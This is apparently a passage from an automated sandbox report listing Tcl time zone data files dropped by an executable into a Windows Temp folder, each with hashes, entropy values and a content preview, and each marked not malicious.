Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Lisbon) {. {-9223372036854775808 -2205 0 LMT}. {-2713908195 -2205 0 LMT}. {-1830381795 0 0 WET}. {-1689555600 3600 1 WEST}. {-1677801600 0 0 WET}. {-1667437200 3600 1 WEST}. {-1647738000 0 0 WET}. {-1635814800 3600 1 WEST}. {-1616202000 0 0 WET}. {-1604365200 3600 1 WEST}. {-1584666000 0 0 WET}. {-1572742800 3600 1 WEST}. {-1553043600 0 0 WET}. {-1541206800 3600 1 WEST}. {-1521507600 0 0 WET}. {-1442451600 3600 1 WEST}. {-1426813200 0 0 WET}. {-1379293200 3600 1 WEST}. {-1364778000 0 0 WET}. {-1348448400 3600 1 WEST}. {-1333328400 0 0 WET}. {-1316394000 3600 1 WEST}. {-1301274000 0 0 WET}. {-1284339600 3600 1 WEST}. {-1269824400 0 0 WET}. {-1221440400 3600 1 WEST}. {-1206925200 0 0 WET}. {-1191200400 3600 1 WEST}. {-1175475600 0 0 WET}. {-1127696400 3600 1 WEST}. {-1111971600 0 0 WET}. {-1096851600 3600 1 WEST}. {-1080522000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Ljubljana

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	185
Entropy (8bit):	4.901869793666386
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqxV/sUE2tvFVAIgoq8sUE2vqLyQavPSJ5QahsUE2u:SlSWB9IZaM3ymhrE2tvFVAIgohrE2vqm
MD5:	5F2AEC41DECD9E26955876080C56B247
SHA1:	4FDEC0926933AE5651DE095C519A2C4F9E567691
SHA-256:	88146DA16536CCF587907511FB0EDF40E392E6F6A6EFAB38260D3345CF2832E1
SHA-512:	B71B6C21071DED75B9B36D49EB5A779C5F74817FF070F70FEAB9E3E719E5F1937867547852052AA7BBAE8B842493FBC7DFAFD3AC47B70D36893541419DDB2D74
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Europe/Belgrade)]} {. LoadTimeZoneFile Europe/Belgrade.}.set TZData(:Europe/Ljubljana) $TZData(:Europe/Belgrade).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\London

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9839
Entropy (8bit):	3.737361476589814
Encrypted:	false
SSDEEP:	192:Gj4y1xZfvm8nKrhFs3XRnRaQqTLJaMt/VZ1R6Y+:GjPxZfvmgEhS3XRmau/VZ1R6Y+
MD5:	2A53A87C26A5D2AF62ECAAD8CECBF0D7
SHA1:	025D31C1D32F1100C1B00858929FD29B4E66E8F6
SHA-256:	2A69A7C9A2EE3057EBDB2615DBE5CB08F5D334210449DC3E42EA88564C29583A
SHA-512:	81EFA13E4AB30A9363E80EC1F464CC51F8DF3C492771494F3624844E074BA9B84FE50EF6C32F9467E6DAB41BD5159B492B752D0C97F3CB2F4B698C04E68C0255
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/London) {. {-9223372036854775808 -75 0 LMT}. {-3852662325 0 0 GMT}. {-1691964000 3600 1 BST}. {-1680472800 0 0 GMT}. {-1664143200 3600 1 BST}. {-1650146400 0 0 GMT}. {-1633903200 3600 1 BST}. {-1617487200 0 0 GMT}. {-1601848800 3600 1 BST}. {-1586037600 0 0 GMT}. {-1570399200 3600 1 BST}. {-1552168800 0 0 GMT}. {-1538344800 3600 1 BST}. {-1522533600 0 0 GMT}. {-1507500000 3600 1 BST}. {-1490565600 0 0 GMT}. {-1473631200 3600 1 BST}. {-1460930400 0 0 GMT}. {-1442786400 3600 1 BST}. {-1428876000 0 0 GMT}. {-1410732000 3600 1 BST}. {-1396216800 0 0 GMT}. {-1379282400 3600 1 BST}. {-1364767200 0 0 GMT}. {-1348437600 3600 1 BST}. {-1333317600 0 0 GMT}. {-1315778400 3600 1 BST}. {-1301263200 0 0 GMT}. {-1284328800 3600 1 BST}. {-1269813600 0 0 GMT}. {-1253484000 3600 1 BST}. {-1238364000 0 0 GMT}. {-1221429600 3600 1 BST}. {-120

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Luxembourg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8826
Entropy (8bit):	3.7634145613638657
Encrypted:	false
SSDEEP:	96:TYt4c9+dcVhv9HMLftvDGwdSscRbjOP9/V+H4Mnb4Nkrloy4xBqffZRgKs0AzxAr:0w2h1QSTRNH4Mn82rlo6XIZ9ALeBO
MD5:	804A17ED0B32B9751C38110D28EB418B
SHA1:	24235897E163D33970451C48C4260F6C10C56ADD
SHA-256:	00E8152B3E5CD216E4FD8A992250C46E600E2AD773EEDDD87DAD31012BE55693
SHA-512:	53AFDDE8D516CED5C6CF0A906DBF72AF09A62278D1FC4D5C1562BBCE853D322457A6346C3DE8F112FCF665102E19A2E677972E941D0C80D0AB7C8DD0B694628E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Luxembourg) {. {-9223372036854775808 1476 0 LMT}. {-2069713476 3600 0 CET}. {-1692496800 7200 1 CEST}. {-1680483600 3600 0 CET}. {-1662343200 7200 1 CEST}. {-1650157200 3600 0 CET}. {-1632006000 7200 1 CEST}. {-1618700400 3600 0 CET}. {-1612659600 0 0 WET}. {-1604278800 3600 1 WEST}. {-1585519200 0 0 WET}. {-1574038800 3600 1 WEST}. {-1552258800 0 0 WET}. {-1539997200 3600 1 WEST}. {-1520550000 0 0 WET}. {-1507510800 3600 1 WEST}. {-1490572800 0 0 WET}. {-1473642000 3600 1 WEST}. {-1459119600 0 0 WET}. {-1444006800 3600 1 WEST}. {-1427673600 0 0 WET}. {-1411866000 3600 1 WEST}. {-1396224000 0 0 WET}. {-1379293200 3600 1 WEST}. {-1364774400 0 0 WET}. {-1348448400 3600 1 WEST}. {-1333324800 0 0 WET}. {-1316394000 3600 1 WEST}. {-1301270400 0 0 WET}. {-1284339600 3600 1 WEST}. {-1269813600 0 0 WET}. {-1253484000 3600 1 WEST}. {-

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Madrid

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8282
Entropy (8bit):	3.756812378817409
Encrypted:	false
SSDEEP:	96:kHB87tmDnTNSSscRbjOP9/V+H4Mnb4Nkrloy4xBqffZRgKs0AzxAHTdIVaAq0VZY:oOMUSTRNH4Mn82rlo6XIZ9ALeBO
MD5:	4BC0D203C28DF6DCB2C9595DFFA3E5C7
SHA1:	0A592FFBD7703AF803BF7EDA96E7BE9A3551A72E
SHA-256:	7F1EC4E7AC29B935823B0155CA07C1FE3092E7202EC0DE3F3CBD8FB9D5E795FB
SHA-512:	B651AF5693A7A8F7816F526AB3AE0548F953AB49125E113F2C906CF9050F4F0ECF9F59F1CBDFC9E5E6F6FB5D46E7E1F9B7A5D2C8D270B7C32063355582393118
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Madrid) {. {-9223372036854775808 -884 0 LMT}. {-2177451916 0 0 WET}. {-1661734800 3600 1 WEST}. {-1648429200 0 0 WET}. {-1631926800 3600 1 WEST}. {-1616893200 0 0 WET}. {-1601254800 3600 1 WEST}. {-1585357200 0 0 WET}. {-1442451600 3600 1 WEST}. {-1427677200 0 0 WET}. {-1379293200 3600 1 WEST}. {-1364778000 0 0 WET}. {-1348448400 3600 1 WEST}. {-1333328400 0 0 WET}. {-1316394000 3600 1 WEST}. {-1301274000 0 0 WET}. {-1284339600 3600 1 WEST}. {-1269824400 0 0 WET}. {-1029114000 3600 1 WEST}. {-1017622800 0 0 WET}. {-1002848400 3600 1 WEST}. {-986173200 0 0 WET}. {-969238800 3600 1 WEST}. {-954118800 0 0 WET}. {-940208400 3600 1 WEST}. {-873079200 7200 1 WEMT}. {-862538400 3600 1 WEST}. {-842839200 7200 1 WEMT}. {-828237600 3600 1 WEST}. {-811389600 7200 1 WEMT}. {-796010400 3600 1 WEST}. {-779940000 7200 1 WEMT}. {-765421200 3

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Malta

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8425
Entropy (8bit):	3.7277252681393933
Encrypted:	false
SSDEEP:	96:wpTw6hpNqX5vln3mcRbjOP9/V+H4Mnb4Nkrloy4xBqffZRgKs0AzxAHTdIVaAq0c:wL0JvlJRNH4Mn82rlo6XIZ9ALeBO
MD5:	B6E871EFFA21231DA8D2B45401F09011
SHA1:	4766A6C2B75F3B739E9D0418F56163D529AF9DEF
SHA-256:	9D766E6E252EA2F30811661549B3359A351C42C6558793DCD4919B55A23DE632
SHA-512:	29E146CAAE7E3F289015405809410FA56C52C472812F5579A8907DF4E09292D4ED200E75F13850A8CE740FB4FD840A629FEA7F3398C60E7A8E8D8A317C8C49CA
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Malta) {. {-9223372036854775808 3484 0 LMT}. {-2403478684 3600 0 CET}. {-1690851600 7200 1 CEST}. {-1680483600 3600 0 CET}. {-1664758800 7200 1 CEST}. {-1649034000 3600 0 CET}. {-1635123600 7200 1 CEST}. {-1616979600 3600 0 CET}. {-1604278800 7200 1 CEST}. {-1585530000 3600 0 CET}. {-1571014800 7200 1 CEST}. {-1555290000 3600 0 CET}. {-932432400 7200 1 CEST}. {-857257200 3600 0 CET}. {-844556400 7200 1 CEST}. {-828226800 3600 0 CET}. {-812502000 7200 1 CEST}. {-796777200 3600 0 CET}. {-781052400 7200 0 CEST}. {-766717200 3600 0 CET}. {-750898800 7200 1 CEST}. {-733359600 3600 0 CET}. {-719456400 7200 1 CEST}. {-701917200 3600 0 CET}. {-689209200 7200 1 CEST}. {-670460400 3600 0 CET}. {-114051600 7200 1 CEST}. {-103168800 3600 0 CET}. {-81997200 7200 1 CEST}. {-71719200 3600 0 CET}. {-50547600 7200 1 CEST}. {-40269600 3600 0 CET}

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Mariehamn

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	185
Entropy (8bit):	4.913470013356756
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqxV1AYKjGyVAIgoq2AYKjvCW6yQausWILMFJ8QarAYKa:SlSWB9IZaM3ymrAdjGyVAIgorAdjoyGK
MD5:	CFB0DE2E11B8AF400537BD0EF493C004
SHA1:	32E8FCB8571575E9DFE09A966F88C7D3EBCD183E
SHA-256:	5F82A28F1FEE42693FD8F3795F8E0D7E8C15BADF1FD9EE4D45794C4C0F36108C
SHA-512:	9E36B2EACA06F84D56D9A9A0A83C7C106D26A6A55CBAA696729F105600F5A0105F193899D5996C416EFAABC4649E91BA0ED90D38E8DF7B305C6D951A31C80718
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Europe/Helsinki)]} {. LoadTimeZoneFile Europe/Helsinki.}.set TZData(:Europe/Mariehamn) $TZData(:Europe/Helsinki).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Minsk

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2101
Entropy (8bit):	3.8482528522046273
Encrypted:	false
SSDEEP:	48:K6ccjMsJ2JoJrZiuRVV0Qv3LEevBFoBGrjI9q1F008bBJd6:PRjMAyurZTV/DYtXY
MD5:	BD2AF72A8710DEB99D0FE90CB8977536
SHA1:	1EBDD2374BC2BBCF98F4DE2D2EEFC0BEA3AC1A0D
SHA-256:	540390E01FBB22ABC2BFF3CE6AB511D64A65E383DD0AB2C62944E6721311E22D
SHA-512:	7446C71DE2893133C5A429035C1EAEFCD97D7ED25FE4428B53AA9F60872B4C2952D9862FFDC00A23A7AA94FB20A8A74DB99157A2700D67241E080177F60284C5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Minsk) {. {-9223372036854775808 6616 0 LMT}. {-2840147416 6600 0 MMT}. {-1441158600 7200 0 EET}. {-1247536800 10800 0 MSK}. {-899780400 3600 0 CET}. {-857257200 3600 0 CET}. {-844556400 7200 1 CEST}. {-828226800 3600 0 CET}. {-812502000 7200 1 CEST}. {-804646800 10800 0 MSD}. {354920400 14400 1 MSD}. {370728000 10800 0 MSK}. {386456400 14400 1 MSD}. {402264000 10800 0 MSK}. {417992400 14400 1 MSD}. {433800000 10800 0 MSK}. {449614800 14400 1 MSD}. {465346800 10800 0 MSK}. {481071600 14400 1 MSD}. {496796400 10800 0 MSK}. {512521200 14400 1 MSD}. {528246000 10800 0 MSK}. {543970800 14400 1 MSD}. {559695600 10800 0 MSK}. {575420400 14400 1 MSD}. {591145200 10800 0 MSK}. {606870000 14400 1 MSD}. {622594800 10800 0 MSK}. {631141200 10800 0 MSK}. {670374000 10800 1 EEST}. {686102400 7200 0 EET}. {701820000 10800 1 EEST}. {71754480

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Monaco

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8871
Entropy (8bit):	3.7700564621466666
Encrypted:	false
SSDEEP:	96:2LCV8tXttpD72RXbvDGwdSscRbjOP9/V+H4Mnb4Nkrloy4xBqffZRgKs0AzxAHT/:eAYt+STRNH4Mn82rlo6XIZ9ALeBO
MD5:	B2BA91B2CDD19E255B68EA35E033C061
SHA1:	246E377E815FFC11BBAF898E952194FBEDAE9AA2
SHA-256:	768E3D45DB560777C8E13ED9237956CFE8630D840683FAD065A2F6948FD797BE
SHA-512:	607383524C478F1CB442679F6DE0964F8916EE1A8B0EF6806BDF7652E4520B0E842A611B432FB190C30C391180EA1867268BBBF6067310F70D5E72CB3E4D789F
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Monaco) {. {-9223372036854775808 1772 0 LMT}. {-2486680172 561 0 PMT}. {-1855958961 0 0 WET}. {-1689814800 3600 1 WEST}. {-1680397200 0 0 WET}. {-1665363600 3600 1 WEST}. {-1648342800 0 0 WET}. {-1635123600 3600 1 WEST}. {-1616893200 0 0 WET}. {-1604278800 3600 1 WEST}. {-1585443600 0 0 WET}. {-1574038800 3600 1 WEST}. {-1552266000 0 0 WET}. {-1539997200 3600 1 WEST}. {-1520557200 0 0 WET}. {-1507510800 3600 1 WEST}. {-1490576400 0 0 WET}. {-1470618000 3600 1 WEST}. {-1459126800 0 0 WET}. {-1444006800 3600 1 WEST}. {-1427677200 0 0 WET}. {-1411952400 3600 1 WEST}. {-1396227600 0 0 WET}. {-1379293200 3600 1 WEST}. {-1364778000 0 0 WET}. {-1348448400 3600 1 WEST}. {-1333328400 0 0 WET}. {-1316394000 3600 1 WEST}. {-1301274000 0 0 WET}. {-1284339600 3600 1 WEST}. {-1269824400 0 0 WET}. {-1253494800 3600 1 WEST}. {-1238374800 0 0

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Moscow

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2347
Entropy (8bit):	3.859338482250319
Encrypted:	false
SSDEEP:	24:cYedmnClADEFFkebUe9zUe9h7+UeGH3UeRUeIuUeKqCbUeaJJUevTkUetUeibEUL:kmnAAEF7vxJ2JoJrprXnECL9yLI0vjls
MD5:	F7899615C684D6AA466FE558EBF5AD1E
SHA1:	B78B12669C92C496D2397D9753C42812149BF283
SHA-256:	4D58AFD1250A70E292066705194876DC9C4A688FD76B89AE488093F06E3E49E2
SHA-512:	DA9F09C770A234E2F4E156956819B808DA45CF0FB3831E4EE64FF6FC699C5EDD321BA79083AA10F921BFDCB9708DD973BB1E7CDF29D70B64D21E14D90BFB15BA
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Moscow) {. {-9223372036854775808 9017 0 LMT}. {-2840149817 9017 0 MMT}. {-1688265017 9079 0 MMT}. {-1656819079 12679 1 MST}. {-1641353479 9079 0 MMT}. {-1627965079 16279 1 MDST}. {-1618716679 12679 1 MST}. {-1596429079 16279 1 MDST}. {-1593822679 14400 0 MSD}. {-1589860800 10800 0 MSK}. {-1542427200 14400 1 MSD}. {-1539493200 18000 1 MSM}. {-1525323600 14400 1 MSD}. {-1491188400 7200 0 EET}. {-1247536800 10800 0 MSD}. {354920400 14400 1 MSD}. {370728000 10800 0 MSK}. {386456400 14400 1 MSD}. {402264000 10800 0 MSK}. {417992400 14400 1 MSD}. {433800000 10800 0 MSK}. {449614800 14400 1 MSD}. {465346800 10800 0 MSK}. {481071600 14400 1 MSD}. {496796400 10800 0 MSK}. {512521200 14400 1 MSD}. {528246000 10800 0 MSK}. {543970800 14400 1 MSD}. {559695600 10800 0 MSK}. {575420400 14400 1 MSD}. {591145200 10800 0 MSK}. {606870000 14400 1

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Nicosia

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	174
Entropy (8bit):	4.73570159193188
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq85GKLWVAIgNwMGKLG6yQatHefeWFKYGKL1:SlSWB9IZaM3yZdLWVAIgGMdL9y3HefeW
MD5:	47C275C076A278CA8E1FF24E9E46CC22
SHA1:	55992974C353552467C2B57E3955E4DD86BBFAD2
SHA-256:	34B61E78EF15EA98C056C1AC8C6F1FA0AE87BD6BC85C58BE8DA44D017B2CA387
SHA-512:	1F74FC0B452C0BE35360D1C9EC8347063E8480CA37BE893FD4FF7FC2279B7D0C0909A26763C7755DFB19BE9736340D3FB00D39E9F6BF23C1D2F0015372139847
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Asia/Nicosia)]} {. LoadTimeZoneFile Asia/Nicosia.}.set TZData(:Europe/Nicosia) $TZData(:Asia/Nicosia).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Oslo

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7651
Entropy (8bit):	3.7309855254369766
Encrypted:	false
SSDEEP:	96:aG6sT+cQJWxdocRbjOP9/V+H4Mnb4Nkrloy4xBqffZRgKs0AzxAHTdIVaAq0VZQt:abcQJWxd/RNH4Mn82rlo6XIZ9ALeBO
MD5:	2A3F771DD9EAE2E9C1D8394C12C0ED71
SHA1:	541DCF144EFFE2DFF27B81A50D245C7385CC0871
SHA-256:	8DDFB0296622E0BFDBEF4D0C2B4EA2522DE26A16D05340DFECA320C0E7B2B1F7
SHA-512:	E1526BD21E379F8B2285481E3E12C1CF775AE43E205D3E7E4A1906B87821D5E15B101B24463A055B6013879CD2777112C7F27B5C5220F280E3C48240367AA663
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Oslo) {. {-9223372036854775808 2580 0 LMT}. {-2366757780 3600 0 CET}. {-1691884800 7200 1 CEST}. {-1680573600 3600 0 CET}. {-927511200 7200 0 CEST}. {-857257200 3600 0 CET}. {-844556400 7200 1 CEST}. {-828226800 3600 0 CET}. {-812502000 7200 1 CEST}. {-796777200 3600 0 CET}. {-781052400 7200 0 CEST}. {-765327600 3600 0 CET}. {-340844400 7200 1 CEST}. {-324514800 3600 0 CET}. {-308790000 7200 1 CEST}. {-293065200 3600 0 CET}. {-277340400 7200 1 CEST}. {-261615600 3600 0 CET}. {-245890800 7200 1 CEST}. {-230166000 3600 0 CET}. {-214441200 7200 1 CEST}. {-198716400 3600 0 CET}. {-182991600 7200 1 CEST}. {-166662000 3600 0 CET}. {-147913200 7200 1 CEST}. {-135212400 3600 0 CET}. {315529200 3600 0 CET}. {323830800 7200 1 CEST}. {338950800 3600 0 CET}. {354675600 7200 1 CEST}. {370400400 3600 0 CET}. {386125200 7200 1 CEST}. {40185

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Paris

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8838
Entropy (8bit):	3.7637328221887567
Encrypted:	false
SSDEEP:	96:1XV8tXttpD724lvDGwdSscRbjOP9/V+H4Mnb4Nkrloy4xBqffZRgKs0AzxAHTdIu:1FYtPSTRNH4Mn82rlo6XIZ9ALeBO
MD5:	153CA0EF3813D91C5E23B34ADFE7A318
SHA1:	F7F18CB34424A9B62172F00374853F1D4A89BEE4
SHA-256:	092BF010A1CF3819B102C2A70340F4D67C87BE2E6A8154716241012B5DFABD88
SHA-512:	E2D418D43D9DFD169238DDB0E790714D3B88D16398FA041A9646CB35F24EF79EE48DA4B6201E6A598E89D4C651F8A2FB9FB874B2010A51B3CD35A86767BAF4D2
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Paris) {. {-9223372036854775808 561 0 LMT}. {-2486678901 561 0 PMT}. {-1855958901 0 0 WET}. {-1689814800 3600 1 WEST}. {-1680397200 0 0 WET}. {-1665363600 3600 1 WEST}. {-1648342800 0 0 WET}. {-1635123600 3600 1 WEST}. {-1616893200 0 0 WET}. {-1604278800 3600 1 WEST}. {-1585443600 0 0 WET}. {-1574038800 3600 1 WEST}. {-1552266000 0 0 WET}. {-1539997200 3600 1 WEST}. {-1520557200 0 0 WET}. {-1507510800 3600 1 WEST}. {-1490576400 0 0 WET}. {-1470618000 3600 1 WEST}. {-1459126800 0 0 WET}. {-1444006800 3600 1 WEST}. {-1427677200 0 0 WET}. {-1411952400 3600 1 WEST}. {-1396227600 0 0 WET}. {-1379293200 3600 1 WEST}. {-1364778000 0 0 WET}. {-1348448400 3600 1 WEST}. {-1333328400 0 0 WET}. {-1316394000 3600 1 WEST}. {-1301274000 0 0 WET}. {-1284339600 3600 1 WEST}. {-1269824400 0 0 WET}. {-1253494800 3600 1 WEST}. {-1238374800 0 0 W

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Podgorica

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	185
Entropy (8bit):	4.86256001696314
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqxV/sUE2tvFVAIgoq8sUE2vqLyQazKIGl1/yQahsUE2u:SlSWB9IZaM3ymhrE2tvFVAIgohrE2vq7
MD5:	4F430ECF91032E40457F2D2734887860
SHA1:	D1C099523C34ED0BD48C24A511377B232548591D
SHA-256:	F5AB2E253CA0AB7A9C905B720B19F713469877DE1874D5AF81A8F3E74BA17FC8
SHA-512:	2E6E73076A18F1C6C8E89949899F81F232AE66FEB8FFA2A5CE5447FFF581A0D5E0E88DABEAA3C858CC5544C2AE9C6717E590E846CBFD58CEF3B7558F677334FB
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Europe/Belgrade)]} {. LoadTimeZoneFile Europe/Belgrade.}.set TZData(:Europe/Podgorica) $TZData(:Europe/Belgrade).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Prague

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7684
Entropy (8bit):	3.7339342503071604
Encrypted:	false
SSDEEP:	96:3NtqSscRbjOP9/V+H4Mnb4Nkrloy4xBqffZRgKs0AzxAHTdIVaAq0VZQltUbAyzU:3+STRNH4Mn82rlo6XIZ9ALeBO
MD5:	9CBA0FD603583AED62B969E8CCF0A356
SHA1:	A2EF7D60181976E2225D15DB40F9BCE4FBF82E8D
SHA-256:	B0CE7042D39DE578FDDBCEFE9EAE793C044F036E80AA4F723C9F284F7C32262E
SHA-512:	6CABAAD76ADCD33363E785262AE08C17218FF1A374236A99120AA0F5DF1386B0CC5B08A8BD85E01553E2E543B7647282FEC82F69281C8B1D582F08152DE28506
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Prague) {. {-9223372036854775808 3464 0 LMT}. {-3786829064 3464 0 PMT}. {-2469401864 3600 0 CET}. {-1693706400 7200 1 CEST}. {-1680483600 3600 0 CET}. {-1663455600 7200 1 CEST}. {-1650150000 3600 0 CET}. {-1632006000 7200 1 CEST}. {-1618700400 3600 0 CET}. {-938905200 7200 1 CEST}. {-857257200 3600 0 CET}. {-844556400 7200 1 CEST}. {-828226800 3600 0 CET}. {-812502000 7200 1 CEST}. {-798073200 3600 0 CET}. {-780534000 7200 1 CEST}. {-761180400 3600 0 CET}. {-746578800 7200 1 CEST}. {-733359600 3600 0 CET}. {-716425200 7200 1 CEST}. {-701910000 3600 0 CET}. {-684975600 7200 1 CEST}. {-670460400 3600 0 CET}. {-654217200 7200 1 CEST}. {-639010800 3600 0 CET}. {283993200 3600 0 CET}. {291776400 7200 1 CEST}. {307501200 3600 0 CET}. {323830800 7200 1 CEST}. {338950800 3600 0 CET}. {354675600 7200 1 CEST}. {370400400 3600 0 CET}. {

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Riga

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7400
Entropy (8bit):	3.686652767751974
Encrypted:	false
SSDEEP:	96:A46YyurGXl6V/jfaKl9sUM2kNU4tztagAwkY5V778e27zo2yiQ6kjmyykeP2lwtk:AnGG160h2kNU4tB715pyzHy1gA
MD5:	5F71EBD41FC26CA6FAA0A26CE83FA618
SHA1:	0FC66EEB374A2930A7F6E2BB5B7D6C4FD00A258C
SHA-256:	6F63E58F355EF6C4CF8F954E01544B0E152605A72B400C731E3100B422A567D0
SHA-512:	20B730949A4967C49D259D4D00D8020579580F7FAA0278FBCEBDF8A8173BBF63846DDBF26FFFBBADB0FAF3FD0EB427DBB8CF18A4A80F7B023D2027CC952A773F
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Riga) {. {-9223372036854775808 5794 0 LMT}. {-2840146594 5794 0 RMT}. {-1632008194 9394 1 LST}. {-1618702594 5794 0 RMT}. {-1601681794 9394 1 LST}. {-1597275394 5794 0 RMT}. {-1377308194 7200 0 EET}. {-928029600 10800 0 MSK}. {-899521200 3600 0 CET}. {-857257200 3600 0 CET}. {-844556400 7200 1 CEST}. {-828226800 3600 0 CET}. {-812502000 7200 1 CEST}. {-796777200 3600 0 CET}. {-795834000 10800 0 MSD}. {354920400 14400 1 MSD}. {370728000 10800 0 MSK}. {386456400 14400 1 MSD}. {402264000 10800 0 MSK}. {417992400 14400 1 MSD}. {433800000 10800 0 MSK}. {449614800 14400 1 MSD}. {465346800 10800 0 MSK}. {481071600 14400 1 MSD}. {496796400 10800 0 MSK}. {512521200 14400 1 MSD}. {528246000 10800 0 MSK}. {543970800 14400 1 MSD}. {559695600 10800 0 MSK}. {575420400 14400 1 MSD}. {591145200 10800 0 MSK}. {606870000 10800 1 EEST}. {622598

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Rome

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8481
Entropy (8bit):	3.7293906313259404
Encrypted:	false
SSDEEP:	96:YdTwwpNqX5nWycRbjOP9/V+H4Mnb4Nkrloy4xBqffZRgKs0AzxAHTdIVaAq0VZQt:YJ0J2RNH4Mn82rlo6XIZ9ALeBO
MD5:	51C2C963E24C9A4F3C7DB8317B161375
SHA1:	17474F78FDD15A2A56E9F695E2512929BFE6020B
SHA-256:	5A8734DA41676A811DA5B79F3C7888B72FDE08CDE5E5B8367405D137EA5F5BE2
SHA-512:	52BB9CDFD21748B8AEC93FC1D041D6AB06A2D9AEDF2E40832360A5B69C667068961BB6AF7D5B8D201786F2D083E637FF4663E3DE42DF300738B1BEF9E298834D
Malicious:	false
Reputation:	unknown
